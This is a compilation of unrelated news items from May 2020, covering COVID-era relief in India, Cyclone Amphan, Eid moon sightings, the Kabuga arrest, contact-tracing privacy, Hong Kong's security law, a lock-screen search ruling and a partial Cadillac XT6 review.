For more flood coverage visit www.ourmidland.com/flood.
New Delhi, May 22 : As the country reels under the coronavirus crisis, India Post has so far delivered more than 2,000 tonne of medicines and medical equipment to needy individuals and hospitals across the country during the lockdown period, an official statement said.

Further around Rs 1,500 crore were disbursed at the door step using Aadhar-enabled Payment System (AePS) of India Post Payments Bank to around 85 lakh beneficiaries, it said, adding that 75 lakh electronic money orders (EMO) payments were made under various schemes of financial inclusion worth Rs 760 crore.

On Friday, Communications Minister Ravi Shankar Prasad instructed the Chief Post Masters General and senior officers of India Post to work towards realising the vision of Prime Minister Narendra Modi for an 'Aatmanirbhar Bharat'.

Prasad reviewed the activities and efforts of Department of Posts during Covid-19 crisis through a video conference.

India Post also distributed around 6 lakh food and ration packets to labourers, municipal workers among others through self-contribution and in association with NGOs.

The minister said that that the ordinary Indian has to be empowered with vast network of post offices and the power of technology such digital inclusion supplemented by financial inclusion and strong physical supply chain.
Prime Minister Narendra Modi on Friday announced a Rs 1,000 crore assistance to West Bengal after a first-hand assessment of the destruction due to cyclone Amphan this week. PM Modi, who assured people that the Centre would stand by the Trinamool Congress-ruled state, also showered rare praise on chief minister Mamata Banerjee who has been his fierce critic.

In a video statement made as he wrapped up the Bengal leg of his visit - he flew down to neighbouring Odisha - PM Modi noted that West Bengal was faced with a difficult situation because of the cyclone at a time the state and the country is battling with the coronavirus disease.

To deal with Covid-19, social distancing is required and people are told to stay where they are. But the cyclone required people in the affected areas to vacate their houses and move to safer places, he said.

But Bengal under Mamata Banerjees leadership has made commendable efforts.

Watch l Fighting Covid & cyclone: PM Modi announces interim relief for West Bengal

Despite these contradictions, West Bengal is fighting well, PM Modis office later tweeted, reiterating PM Modis commitment to stand with the people of Bengal in these testing times.

PM Modis Bharatiya Janata Party and Mamata Banerjees Trinamool Congress have been bitter rivals in Bengal for years, particularly after the BJP set its eyes on getting a foothold in the states politics.

In last years general elections, the BJPs aggressive campaign delivered 18 of Bengals 42 Lok Sabha seats. Much of this increase came at the cost of the Trinamool Congress which had to settle for 22 seats, down from the 32 it had won in 2014.

Home Minister Amit Shah, who had led the BJP campaign in Bengal and is credited for expanding the partys tally from 2 to 18 Lok Sabha seats in five years, has made it clear that the BJP was aiming to come to power in Bengal in next years assembly elections.

Not surprisingly, Mamata Banerjee has been the BJPs favourite punching bag in Bengal and is seen to be deeply suspicious of its moves.

Like when the Centre sent an inter-ministerial team to Bengal, among other states, Mamata Banerjee was the only chief minister to question the Centres motives. The central team was told to stay put at their guest house by state officials and not move out without a police escort.

The central team was still able to find flaws in the states handling of Covid-19, gaps that provided the state BJP leadership ammunition to target Mamata Banerjee and her government.

Back home in Kolkata, she also has a running feud with Governor Jagdeep Dhankar who often accuses her government of keeping him in the dark. Dhankar had fired his last attack at the state government over the Kolkata municipal corporation less than 24 hours earlier.

To be sure, Governor Dhankar has not attacked Mamata Banerjee for her handling of cyclone Amphan either. Hours before PM Modi landed in Kolkata - the governor also accompanied him on the aerial survey and attended the review meetings he chaired - Jagdeep Dhankar announced on Twitter that he had contributed Rs 50 lakh to the chief ministers fund for Amphan relief work and asked people to chip in too.

Fridays interaction between PM Modi and chief minister Mamata Banerjee was a contrast to the prime ministers last visit to the state in January this year amid the protests over the amended citizenship law.

Banerjee had then deputed a minister to receive him at the airport and skipped a Kolkata Port Trust event. But she did later call on PM Modi at Raj Bhavan, describing it as a courtesy to the visiting dignitary.

A statement by the Prime Ministers Office on PM Modis flying visit on Friday underlined that this was his second visit to the state this year. West Bengal, the PMO statement said, is the only state apart from Uttar Pradesh, where PM Modi has had multiple visits this year.

Prime Minister Modi hasnt stepped out of Delhi for months due to the coronavirus outbreak and the emphasis on people staying at home. A PMO official said PM Modis last outstation visit was to Uttar Pradeshs Prayagraj and Chitrakoot on February 28.
Muslims worldwide will celebrate one of their biggest holidays under the long shadow of the coronavirus, with millions confined to their homes and others gripped by economic concerns during what is usually a festive time of shopping and celebration.

The three-day Eid al-Fitr marks the end of the fasting month of Ramzan for the world's 1.8 billion Muslims. People usually celebrate by travelling, visiting family and gathering for lavish meals, all of which will be largely prohibited as authorities try to prevent new virus outbreaks.

Also Read: Eid-ul-Fitr 2020: Date, India timings for moon sighting and Eid celebrations

The holiday will begin on May 23 or 24, depending on the sighting of the new moon, and the dawn-to-dusk fasting of Ramadan will come to an end. Muslims in Gulf countries have been observing fast since April 24, after the Ramadan moon was sighted on April 23. Friday is the 29th day of Ramadan in the region.

According to a report in the Gulf News, the UAE government has set up a moon-sighting committee. The committee will hold a virtual meeting under the chairmanship of UAE's Justice Minister in the evening.

Meanwhile, Saudi Gazette reported that astronomers at the observatory of Majmaah University near Riyadh in Saudi Arabia on Thursday confirmed that the crescent moon of Shawwal is unlikely to be sighted on Friday, Ramadan 29.

"According to the scientific calculations that were published on the astronomical observatory site that sun will set at 6.39 pm at 293 degrees, and the moon will set at 6.26 pm Friday, Ramadan 29, and this means the moon will set 13 minutes before the sunset," observatory sources were cited as saying in the report.

Here are the highlights on moon sighting:

- Eid-ul-Fitr prayer timing across UAE:

Abu Dhabi: 5:52 am Al Ain: 5:46 am Dubai: 5:47 am Sharjah: 5:44 am Ras Al Khaimah: 5:43 am Fujairah: 5:43 am Umm Al Quwain: 5:44 am Ajman: 5:46 am

- Moon sighted in UAE, other Gulf nations.

- The crescent wasn't sighted on Friday in the Gulf Nations and is likely to be spotted on May 23.

- Saudi Arabia announces Eid-ul-Fitr 2020 on May 24

- Moon not sighted at Karnataka coast. Muslims in this part of India to celebrate Eid-ul-Fitr on Sunday, i.e. on May 24.

- Unlike every year, the festivities have been subdued this time due to the coronavirus pandemic. People in most of the countries have been issued advisories to remain indoors so as to protect themselves and help in containing the spread of COVID-19.

- - Sources at the observatory said that according to the scientific calculations that were published on the astronomical observatory site, the sun will set at 6.39 pm at 293 degrees, and moon will set at 6.26 pm Friday, Ramadan 29. This means the moon will set 13 minutes before the sunset.

- Astronomers at the observatory of Majmaah University near Riyadh in Saudi Arabia had confirmed on May 21 that the crescent moon of Shawwal is unlikely to be sighted on Friday.

- Shawal moon crescent has been sighted on Friday in Ladakh/Kargil. Eid-ul-Fitr to be celebrated on May 23, 2020.

- As per the Saudi Supreme Court orders, the moon sighting committee personnel and locals have begun attempting the sighting of the crescent, which will mark the end of Ramadan and the start of next Islamic month Shawwal.

- Meanwhile, mosques will remain closed for prayers on Eid-ul-Fitr in Saudi Arabia and the United Arab Emirates in view to call on the population to adhere to safety guidelines to avoid the spread of the novel coronavirus. Eid, which marks the end of the holy fasting month of Ramadan, may fall on Saturday or Sunday in the Gulf region.

- Masjid al-Haram or the Grand Mosque in Mecca is expected to make an announcement on the sighting of crescent after Maghrib prayers. If the moon is sighted, then the month of Ramadan will end and Eid will be observed on Saturday (May 23).

- Crescent moon not sighted in Kerala: The crescent moon is not sighted in Kerala on Friday i.e. May 22, 2020. Hence, Eid or Eid-ul-Fitr would be celebrated on Sunday, May 24, 2020.

- The Islamic or Hijri calendar is determined by moon cycles, which last either 29 or 30 days. The presence of a new moon signals the start of a new month.

- The Hilal Committee in India's coastal state of Kerala will soon take the final call on the sighting of the crescent moon and will subsequently decide the date of Eid 2020 festival. If the crescent moon remains invisible today, Muslims will celebrate Eid on May 24, i.e. on Sunday.

- Despite the lockdown, the Saudi apex judicial council has asked 42 courts to convene across the country to accept testimonies if the moon is sighted. If the testimonies are received, the moon sighting committee, as well as the Supreme Court, would be informed. An official announcement would subsequently be issued.

- The Saudi Supreme Court had on May 21 called upon Muslims living in the Kingdom to attempt the sighting of the moon today. In several parts of the nation, telescopes will be used from the period before Asr prayers leading up to dusk. The attempt to sight the new moon would be suspended after Maghrib prayers.

- According to the Astronomy Centre, Indonesia and Malaysia officially confirm Sunday (May 24) as the first day of Eid.

- Saudi Arabia Supreme Court directs Muslims throughout the country to report the sighting of the crescent moon. "Whoever sights the moon with naked eyes or through binoculars, report to the nearest court and register testimony, or report to an authority of a regions centre in the area."

- Shawwal moon not sighted in Turkey on Friday after which the country announces May 24 as the first day of Eid-ul-Fitr.

- Kerala Hilal Committee will soon take the final call on moon sighting which will further decide the date of Eid 2020 festival. If the crescent moon remains invisible today, then Muslims will celebrate Eid on May 24.

- The Council said that the new moon of the month of Shawwal will set before sunset on Friday, May 22, which is Ramadan 29. It said the council consulted members of the Australian Fatwa Council and also inquired to the local and global observatories about the moon timings.

- The Australian National Imams Council said that although the Muslim devotees could not visit mosques during the holy month of Ramadan in view od COVID-19, Allah (God) did not deprive them of worshipping Him. "It has been by Allah's grace that our homes have transformed into mosques, full of the remembrance of Allah, supplication to him and the recitation of the Holy Quran. We thank Allah SWT for granting us the opportunity to worship Him throughout the month of Ramadan," the council said.

- Australian National Imams Council announced that Saturday (May 23) would be the last day of the holy month of Ramadan and Sunday (May 24) the first day of Shawwal, as well as Eid Al Fitr.

- Crescent moon not sighted in Indonesia, Malaysia, Philippines: Eid-ul-Fitr to be celebrated on May 24 in Indonesia, Malaysia, Philippines and Singapore as the moon was not sighted today.

- Eid-ul-Fitr is celebrated on the first day of Shawwal, after the end of 29 or 30 days of Ramadan (also spelt as Ramzan). Since the Islamic calendar follows the moon, the months depend on its sighting.

- Fasting in Arab countries begins one day before in India, except in the coastal regions of Kerala and Karnataka where the moon can be sighted one day before the rest of the country.

- While Ramadan began on April 24 in Arab countries, Muslims in most parts of India have been observing the fast since April 25.

- Indians will try to spot the moon on Saturday and if sighted, Eid-ul-Fitr will be celebrated on Sunday. Otherwise Eid-ul-Fitr 2020 will be celebrated on Monday, May 25 after fasting of days.
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Linkedin Apriza Pinandita (The Jakarta Post) Jakarta  Fri, May 22, 2020 12:17 608 fc6853813033f564188675f8bd998c9c 1 National REDD,carbon-emission,Indonesia-Norway-cooperation,Indonesia-carbon-emission,climate-change,forest-conservation,climate-fund,deforestation,deforestation-in-Indonesia Free

Indonesia is set to receive a US$56 million grant from Norway as the first payment for the formers success in reducing deforestation and carbon emissions under the Reducing Emissions from Deforestation and Forest Degradation (REDD+) cooperation scheme.

According to a statement from the Indonesian Environment and Forestry Ministry on Thursday, the grant would be handed over in June  coinciding with the commemoration of a decade of climate funding cooperation in which Indonesia would receive a total of US$1 billion for protecting its tropical forests.

Environment and Forestry Minister Siti Nurbaya said the grant was a result-based payment.

This is going to be the first payment for Indonesias achievement in its REDD+ effort during the period between 2016 and 2017, she said.

Read also: How Indonesia finally earned nod from Norway for climate fund

The ministry reported to Norway that the country saw a decline in the deforestation rate in the 2016-2017 period, with 480,000 hectares of forest lost that was believed to have prevented the release of about 4.8 million tons of carbon dioxide equivalent (CO2e) emissions to the atmosphere  a figure lower than the baseline agreed upon by both countries.

Under the REDD+ scheme, Indonesia and Norway agreed to measure Indonesias results against a 10-year average level of emissions between 2006 and 2016. The annual emissions during that period were estimated at 237 million tons CO2e from deforestation and 42 million tons from forest degradation.

According to the verification process conducted by the Norwegian government from November last year to March, the emissions reduction achieved by Indonesia in the 2016-2017 period was counted at 11.2 million tons CO2e  higher than its initial report of 4.8 million tons.

Siti said the government was working to finalize the necessary documents and reports required for the payment, including the measurement, reporting and verification (MRV) report that served as the basis of the result-based payment.

The ministry was also finalizing its report on carbon emissions as the basis for the first payment, which contains data on Indonesias emissions decline from deforestation and forest degradation between 2016 and 2017.

The minister explained that each ton of CO2e under the scheme was valued at $5, referring to the price designated by the World Bank for the REDD+ scheme.

She said Indonesia expected to receive another round of payments for its progress in the 2017-2018 period and onward.

Read also: Can Indonesia stop deforestation?

The fund would be channeled through the Indonesian Environmental Estate Fund (BPDLH), a public service agency tasked with managing funds related to environmental protection and conservation. The agency was launched in October last year.

President [Joko Widodo] has ordered to use the fund for community-based environmental recovery efforts, said Siti.

In a statement made available to The Jakarta Post on Thursday, Norwegian Ambassador to Indonesia Vegard Kaale congratulated the Indonesian government on the positive result under the REDD+ scheme.

The governments of Indonesia and Norway are in the process of finalizing the verification process and agreeing on the way forward and would like to come back with more detailed comments when this process is completed," the ambassador wrote. (kuk)
Samsung India has launched yet another initiative that is aimed at creating an online presence for their offline Samsung retail stores. They have partnered with Facebook this time, to train Samsungs offline partners to become part of an online ecosystem. With this initiative, Samsung aims to have customers purchase Samsung smartphones online via Facebooks many services like Facebook, Messenger, Instagram and WhatsApp.

As part of their first phase, Samsung has already trained more than 800 offline stores across India. During the training process, offline retailers will be taught how to set up and create business accounts and pages across Facebooks family of apps.

By doing this, they can make their business known locally, discover customers and build credibility. Customers will be able to contact local businesses directly via these pages, ask queries and shop for Samsung smartphones.

Commenting on the initiative, Mohandeep Singh, Senior Vice President, Mobile Business, Samsung India said:

Consumers are at the heart of everything we do at Samsung. Over the last two months, our focus has been to adapt our business model to suit the changing needs of our consumers. We have taken a number of steps to enable the doorstep delivery of both our products and services to ensure social distancing. Our partnership with Facebook is helping a large number of our retail partners go digital in a big way. By leveraging the Facebook training, our retail partners will be able to discover and target local consumers digitally. Consumer too will benefit as they can now access product information and shop for Galaxy smartphones through Social Media pages of their local retailers.

Source
This was the third time within a month that a workshop on the Indian market had been held by Vietrade in collaboration with the relevant parties, as India and Nepal are two large markets which Vietnamese enterprises have yet to fully tap into.

Le Hoang Tai, the agencys deputy director, stated that in a new situation, diversifying markets and avoiding reliance on a single main market are key to sustainable development.

India has a population of nearly 1.4 billion people and is Vietnams tenth largest trading partner while Nepal, with which Vietnams trade remains limited, still has ample room for cooperation.

In order to access these two South Asian markets, one of the most important channels is through the Vietnamese business communities there.

Such communities can join forces with domestic enterprises so that Vietnamese goods can penetrate more deeply into India and Nepal.

In the past, Vietnam had always run a trade deficit with India, but Vietnam has recorded a surplus since 2018, with US$300 million reported in the first four months of 2020.

The Vietnamese goods with strong potential for export to India include dragon fruits, cashew nuts, catfish, pepper and other spices.
22 May 2020, 12:11 PM

Mukesh Ambani scores 5th cheque! KKR to invest Rs 11,367 cr into Jio Platforms

Reliance Industries on Friday announced that KKR would invest Rs 11,367 crore into Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. This is KKR's largest investment in Asia and will translate into a 2.32 per cent equity stake in Jio Platforms on a fully diluted basis. KKR is making the investment from its Asia private equity and growth technology funds.

Coronavirus crisis: Providing free foodgrains to migrant workers not enough, says Raghuram Rajan

Calling India's Rs 20.9 lakh crore stimulus inadequate in providing for recovery of an economy pummelled by COVID-19, former RBI Governor Raghuram Rajan has said the package gives free foodgrains but migrant workers, rendered jobless by lockdown, need money to buy milk, vegetables and cooking oil and pay rent. "There is a lot more we need to do to put economy back on track. We have to pull all the stops," he said in an interview to 'The Wire'. "The package has some good points but it probably needs to do more', he said.

Amazon begins food delivery in India, Swiggy, Zomato initiate delivery of alcohol

E-commerce giant Amazon will now be extending its service in the food delivery area. The delivery service called Amazon Food has been launched in some pin codes of Bengaluru. Some users in Bengaluru can see the food delivery option under Amazon Food.Amazon Food was to be launched in February, but was delayed due to coronavirus, reports suggest. Meanwhile, Swiggy and Zomato have started the delivery of alcohol and alcoholic beverages in the capital city of Jharkhand. They plan to expand their service in other cities of Jharkhand within this week.

India's GDP growth in FY21 to remain negative, says RBI's Shaktikanta Das

Cyclone Amphan update: Outage, fibre cuts disrupt mobile connectivity in cyclone-hit areas

Power outage and frequent fibre cuts have disrupted telecom connectivity in Cyclone Amphan hit areas, particularly Kolkata, North and South 24 Pargana districts of West Bengal. Industry players told PTI that still around 70 per cent of the telecom network in the worst affected areas is working and around 85-90 per cent of the connectivity will be restored by Friday evening.

India is in touch with UK over Vijay Mallya's extradition, says MEA

India is in touch with the British government over extradition of fugitive liquor baron Vijay Mallya after he exhausted legal options against New Delhi's request to the UK to extradite him. "The government of India is in touch with the UK regarding the next steps in his extradition process," External Affairs Ministry Spokesperson Anurag Srivastava said on Thursday. Mallya has been based in the UK since March 2016 and remains on bail on an extradition warrant executed three years ago by Scotland Yard on April 18, 2017. Last week, Mallya lost his appeals in the UK Supreme Court against his extradition to India to face money laundering and fraud charges.

China to increase 2020 defence budget by 6.6%

China's defence spending this year will rise 6.6% from 2019, according to a report issued at the opening of the country's annual meeting of parliament on Friday, a slower rate than last year. The figure, set at 1.268 trillion yuan ($178.16 billion), is closely watched as a barometer of how aggressively the country will beef up its military capabilities.

Big relief! RBI extends export credit period to 15 months from 1 year
After more than two decades on the run, one of the worlds most wanted men, 84-year-old Felicien Kabuga, was arrested on May 16 by the French Police near Paris.

Kabuga was a key figure in the Rwandan genocide, which began on April 7, 1994, one day after a plane carrying Rwandan President Juvenal Habyarimana and Burundian President Cyprien Ntaryamira, both Hutus, was shot down, with all on board killed. Hutu extremists accused a Tutsi rebel group, the Rwandan Patriotic Front, of being behind the attack and immediately began a campaign of mass killings of members of the Tutsi and Twa ethnic groups, as well as moderate Hutus.

The slaughter was thoroughly planned and well-organized. Militias were given hit lists of Tutsi and murdered many of their victims with machetes in acts of appalling brutality. By the time the genocide ended on July 15, 1994, some 800,000 Rwandans had been murdered, including about 70 percent of the country's Tutsi population.

Felicien Kabuga, one of the countrys wealthiest men and founder of Radio Television Libre des Milles Collines, had been a member of President Habyarimanas inner circle. He is accused of financing and helping to plan the genocidal killings, importing large quantities of weapons, and directing the Radio Television Libre des Milles Collines, which helped incite the genocide.

For these and other crimes, Kabuga was indicted in 1997 by the UN International Criminal Tribunal for Rwanda on seven counts of genocide, complicity in genocide, direct and public incitement to commit genocide, attempt to commit genocide, and conspiracy to commit genocide, persecution and extermination. The United States offered a $5 million bounty for information leading to Kabugas arrest.

We applaud the Government of France and the International Residual Mechanism for Criminal Tribunals for the arrest of Felicien Kabuga, said U.S. State Department Spokesperson Morgan Ortagus in a written statement. We commend law enforcement officials worldwide who contributed to the arrest. This is a milestone for international justice, and a message to all fugitives indicted for genocide that they will be brought to justice. We hope this arrest brings the victims and their families some peace.

The United States continues to offer rewards of up to $5 million for information leading to the arrest of the remaining seven Rwandans wanted by the International Tribunal for their roles in the genocide: Augustin Bizimana, Protais Mpiranya, Fulgence Kayishema, Aloys Ndimbati, Pheneas Munyarugarama, Charles Sikubwabo, and Charles Ryandikayo. If you have any information on their whereabouts, you can contact the War Crimes Rewards Program via email at wcrp@state.gov or via WhatsApp at +1-202-975-5468.
This article is part of Privacy in the Pandemic, a Future Tense series.

In debates over digital privacy, American tech companies are often branded as the villains, with European policymakers cast in the role of savior. Big Tech is out to steal your privacy, but European governments are stepping in to protect it. Or so the narrative goes.

But the new exposure notification system released by Google and Apple on Wednesday has turned these roles on their head, albeit in ways that at least some public health authorities say will make their job more difficult. It stands as a clear warning against type casting in this debate.

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In Europe, countries like France and the United Kingdom are pushing for aggressive digital contact tracing efforts that involve government collection of broad new caches of location data. Theyd store user data in new, government-run centralized databases in order to give public health officials the ability to monitor and warn residents in support of better test, trace, and isolate policies.

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But Apple and Google have refused to cooperate, despite pressure to do so. As Matthew Green described in Future Tense, they have designed a system that will work only with contact tracing apps that employ a decentralized model for data storagemeaning that data is held on individual phones, rather than in a centralized database. Your phone will know who you crossed paths with in the park, but Google and Apple wont. This system wont work with apps that log location information or reveal the identity of those who tested positive. Apple and Google have made assurances that compatible apps will delete data after its no longer needed, and theyve issued technical white papers so that experts can review the design specifications.

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The Apple and Google initiative responds to a widespread push to use digital contact tracing to support the fight against the virus. But what looks good on a whiteboard in a product planning meeting may look very different once its being used by hundreds of millions of people. With respect to digital contact tracing, success depends on at least four factorsfour factors that suggest the Apple and Google system is not likely to be particularly effective in meeting the stated public health goals.

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First, people must use the apps. Apple and Google have repeatedly emphasized that the use of their contact tracing systems will be opt-in only, meaning that they wont be used unless people download compatible apps and them on. That is also true for a range of separate apps that dont depend on the Google and Apple system. But in Singapore, only about 20 percent of people are using the countrys Trace Together app, which means that theres only a 4 percent chance that two people who are exposed to each other will both have the app. Even usage in Iceland, which is the highest in the world, is only at 39 percent, a far cry from the 60 percent that many experts say is required to make the apps sufficiently useful. In the U.S., surveys suggest that most, people wont opt-in.

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Second, the technology must be accurate, meaning that it correctly identifies people who have been within a certain proximity of each other for a certain period of time. But Bluetooththe technology of choicecan read signals through walls and closed windows. It wont be able to distinguish between those who shared a meal and those stuck in cars next to each other in a traffic jam with their windows rolled up for that same amount of time. As a result, there will be people who are notified even though they havent been exposed (false positives) and people who have been exposed but arent notified (false negatives). In a country as large as the United States, that means millions of errors, even if theres an incredibly small error rate.

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Third, people who receive an alert must be able and willing to test and isolate. That means we need enough tests at sufficiently low cost so that people who receive an alert can get testedsomething we do not yet have. And if people ignore notifications, the apps will have a limited effect. In other words, the apps only work as one part in a larger containment strategy.

Fourth, the health benefits should outweigh any collateral costs in terms of privacy and security. Decentralized systems that track proximity rather than location datalike those supported by Google and Appleminimize the risk. But no matter how well designed, they are not risk-free. As Google and Apple build the possibility of perpetual Bluetooth signaling into their latest operating systems, they create at least the possibility that, even if small, the system could be remotely and surreptitiously activated. To minimize this final risk, Apple and Google should commit to updating their operating systems after the crisis to delete this newly created tracking capacity; other app providers should do the same.

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Despite these challenges, the hype around contact tracking apps has been remarkable. And while the Apple and Google system may not do much, the companies should be applauded for resisting new systems of centralized surveillanceand for turning the classic United States versus Europe story on its head. Europeans as privacy protective and Americans as privacy violative has always been a simplistic caricature. The reality is much more complex. In fact, despite widespread characterizations to the contrary, the United States imposes many more protections with respect to government (as opposed to corporate) access to data than most other countries in the world.

Meanwhile, we shouldnt place all our eggs in the digital contact tracing basket, which has proven to be far less effective than one would hope. We should couple any digital effort with increased funding and support for human contact tracing. We should expand New Yorks efforts to send EMTs into public housing units to do door-to-door screening and health education. Most importantly, we need to focus efforts on developing and disseminating low-cost and fast-report tests-rather than being distracting by the mythical contact tracing knight in shining armor.

Future Tense is a partnership of Slate, New America, and Arizona State University that examines emerging technologies, public policy, and society.
University Hospital in Newark bid farewell to the 85 health care workers from the U.S. Army who were sent in mid-April to help with an influx of coronavirus patients.

The U.S. Army North mobilized 10 Urban Augmentation Medical Task Forces to some of the hardest-hit areas on the East Coast, including New York City and New Jersey. The unit that was sent to University Hospital included doctors, pharmacists, administration and supply specialists, and respiratory therapists.

They left University Hospital on Wednesday.

We were honored to support the people of New Jersey and our fellow Americans during this unprecedented period in our countrys history," said U.S. Army Maj. Erin Velazquez, who is a commander in the task force. And we appreciate the opportunity to have worked with the administration and front-line healthcare heroes at Newarks University Hospital.

The added help included members of the U.S. Army Reserve 332nd Medical Brigade based out of Nashville, Tennessee.

University Hospital President and CEO Shereef Elnahal commended the unit for leaving behind their own families and loved ones to help people in New Jersey.

These soldiers will always be members of our University Hospital family," Elnahal said. We wish them well on their next life-saving mission.

The public hospital, which is also a Level I trauma center, was stretched to its limits before the unit was deployed. The departure comes as the number of new COVID-19 cases in New Jersey begins to decline.

Our journalism needs your support. Please subscribe today to NJ.com.

Rebecca Panico may be reached at rpanico@njadvancemedia.com. Tell us your coronavirus story or send a tip here.
Gardai are seeking help to find a teenage boy missing from Dublin.

Abid Oryakhel, 14, is missing from the Dublin 4 since Friday, May 15.

He is approximately 5'9", with short dark hair, of slim build with brown eyes.

When last seen Abid was wearing a grey jumper, grey tracksuit bottoms, a navy shirt and black runners.

Anyone with information on his whereabouts are asked to contact gardai in Irishtown on 01 666 9600 or the Garda Confidential Line on 1800 666 111.
Britain was under growing pressure last night to stand up to Beijing over the latest threat to Hong Kong freedoms.

A draconian new security law proposed by China would see the former British territorys citizens put at risk, campaigners warned last night.

Hong Kongs pro-democracy movement called on Downing Street to stand up to Beijing over the sweeping changes, and called for Britain to offer sanctuary to those in Chinas crosshairs as it tries to dismantle the one country, two systems constitutional principle.

Critics said the new law would lead to widespread use of secret police, arbitrary detentions, surveillance and even control over the internet on the island territory.

Pan-democratic legislators scuffle with security as they protest against new security laws during Legislative Council's House Committee meeting in Hong Kony

A draft version of the law was put before yesterdays opening session of the National Peoples Congress  Chinas most important political event of the year which rubber-stamps decisions already taken by the Communist Party. The congress lasts for nearly a week and will vote on the law on Thursday, the final day.

Several pro-democracy lawmakers were dragged out of Hong Kongs legislative chamber yesterday after protesting against the proposed law.

Claudia Mo, a member of Hong Kongs legislative council, said Britain had a moral obligation to act, warning: They [China] want Hong Kong dead.

Lord Patten, the last British governor before the handover, described the new laws as a frontal assault on the relative freedoms granted to Hong Kong.

He said Britain must act over the disgraceful breach of Chinas international treaty obligations, and branded the Communist Party a very nasty, brutal, bullying and mendacious regime.

China said the new security law was necessary because Hong Kong had become a national security risk following years of anti-Beijing demonstrations.

But the move prompted immediate warnings that the law would be used to persecute protesters, and China could bring charges of subversion and terrorism against them. The news caused stock markets around the world to fall, with the Hang Seng Index in Hong Kong suffering its worst day since 2015.

Eddie Chu, a pro-democracy lawmaker, is removed by security during a scuffle with pro Beijing lawmakers

Donald Trump threatened to react strongly over the law and US Secretary of State Mike Pompeo said it would be a death knell for the relative autonomy promised in the 1997 handover.

Under the one country, two systems arrangement, Hong Kong was allowed greater freedom to control its economy and administration until 2047, 50 years after the handover. Pro-democracy campaigner Claudia Mo said Beijing had effectively abolished that principle. She told BBC Radio 4s Today programme: It could mean the end of Hong Kong because they want Hong Kong dead.

The politician called on the British Government to support the 3 million British National Overseas passport holders in Hong Kong, and to allow up to 15,000 to flee to Britain if necessary. She said: It is a gesture to start with, that the UK Government is shouldering some moral obligation.

Pro-democracy lawmaker Wu Chi-wai scuffles with police during a march against new security laws near China's Liaison Office in Hong Kong

Hong Kongs chief executive Carrie Lam said she would co-operate with Beijing to ensure the legislation was completed as soon as possible

Activists called on supporters to take to the streets tomorrow to protest against the new law.

Tom Tugendhat, who chairs the foreign affairs committee, compared China to a bully in a playground and said it was trampling democracy in Hong Kong.

Foreign Secretary Dominic Raab and his counterparts in Australia and Canada released a joint statement last night saying they were deeply concerned by the plans.

Hong Kongs chief executive Carrie Lam said she would co-operate with Beijing to ensure the legislation was completed as soon as possible, once it is voted through by China.

She insisted it would not affect the territorys autonomy, adding: Hong Kong will remain to be a very free society.
Law enforcement needs a search warrant just to look at the lock screen on a suspect's smartphone, according to a ruling by a Seattle judge.

Judge John Coughenour made a shock ruling in the US District Court in Seattle Monday that the FBI violated a robbery suspect's constitutional rights when an agent turned on his phone and viewed the screen.

Coughenour said that looking at an individual's lock screen is classed as a search meaning law enforcement cannot do this without a search warrant.

The decision means evidence gained by law enforcement from the cellphone screen belonging to Joseph Sam - who was arrested for robbery and assault in May 2019 - has now been thrown out.

Looking at an individual's lock screen is classed as a search meaning law enforcement cannot do this without a warrant, according to a ruling by a Seattle judge

However the Washington state judge ruled that some evidence from the screen could be kept, because police officers can sometimes carry out a search without a warrant while the FBI cannot.

The judge's ruling was based on two separate incidents which began when Sam was arrested in May 2019.

One of the arresting police officers turned on Sam's Motorola smartphone and viewed the lock screen.

Then, seven months after the arrest in February, an FBI agent turned the suspect's phone on again and took a photo of the lock screen.

The name 'Streezy' was displayed across the screen.

Sam's attorney filed a motion to suppress evidence gained by law enforcement from the lock screen saying a search warrant is needed to look at the screen.

Coughenour ruled that both incidents are classed as searches but that the search at the time of arrest and the search at the later date are two separate issues.

Judge John Coughenour (pictured) made a shock ruling in the US District Court in Seattle Monday that the FBI violated robbery suspect Joseph Sam's constitutional rights when an agent turned on his phone and viewed the screen

The judge said that police can carry out searches without a search warrant under certain circumstances at the time of arrest, including if the search was 'either incident to a lawful arrest or as part of the police's efforts to inventory the personal effects'.

This means the police looking at the phone's lock screen at the time of arrest may not have been a violation of the suspect's rights.

However the judge said he needed more evidence to determine if the search was carried out for one of those reasons.

But the search at the later date by the FBI was unconstitutional and violated Sam's Fourth Amendment rights, the judge ruled, because the FBI cannot conduct a search without a warrant.

'The FBI physically intruded on Mr. Sam's personal effect when the FBI powered on his phone to take a picture of the phone's lock screen,' Coughenour said.

The FBI evidence from Sam's cellphone has since been suppressed.

The government had argued a phone's lock screen is public to anyone when the phone has power so there can be no expectation of privacy.

The judge dismissed this argument saying: 'When the Government gains evidence by physically intruding on a constitutionally protected area - as the FBI did here - it is 'unnecessary to consider' whether the government also violated the defendant's reasonable expectation of privacy.'
2020 Cadillac XT6 Review by Larry Nutson +VIDEO

2020 Cadillac XT6

Moving with luxury into the roaring 20s

By Larry Nutson

Executive Editor and Bureau Chief

Chicago Bureau

The Auto Channel

In spite of predictions of declining new vehicle sales, automakers continue to introduce new models. This is especially true when it comes to SUVs.

Analysts forecast that 2019 will end up at about 17.1 million sales. So far we are on that track even though the second half of this year had a slight rally. As we roll into 2020 forecasters says sales will drop to 16.7 million vehicles. SUV sales are expected to continue to dominate the market.

Cadillacs completely new XT6 is a three-row 7-passenger crossover (XSUV) that fills the gap between its 5-passenger XT5 and range-toping iconic and pricey Escalade. For the sake of completeness, the compact XT4 sits at the bottom of Cadillacs people-hauler lineup.

As is the case with many vehicle programs today, no matter which automaker, sharing of architecture is the norm. The XT6 and the GMC Acadia are siblings. The new mid-size XT6 can seat seven, with its two-seat third row. It also comes as a 6-passenger model with two center row captains chair seats.

Cadillac employs a Y strategy to define trim levels that split into luxury or sport equipment. The Premium Luxury trim comes in front- or all-wheel drive and has a bit more sparkle. The Sport trim is available only with all-wheel drive and has a few tweaks to enhance overall driving dynamics. Both XT6 trims offer a Platinum package with leather and suede trimmings.

All XT6s are powered by a 310-hp 3.6-liter V6 paired up with a nine-speed automatic transmission. Trailer tow rating is 4,000 lbs.







My XT6 driving experience was in a 7-passenger Premium Luxury AWD model with a base price of $54,695, plus a $995 destination charge. A number of optional packages drove the total price up to $71,585.

A Premium package ($4,900) added semi-aniline leather seating and leather trim plus the performance suspension with real-time damping. The Enhanced Visibility and Technology package ($2,350) added a rear camera mirror which provides an unobstructed view to the rear view mirror when you have a bunch of bobbing heads in the rear seats. Also added is a head-up display, surround vision, rear pedestrian alert and parking assist with braking.

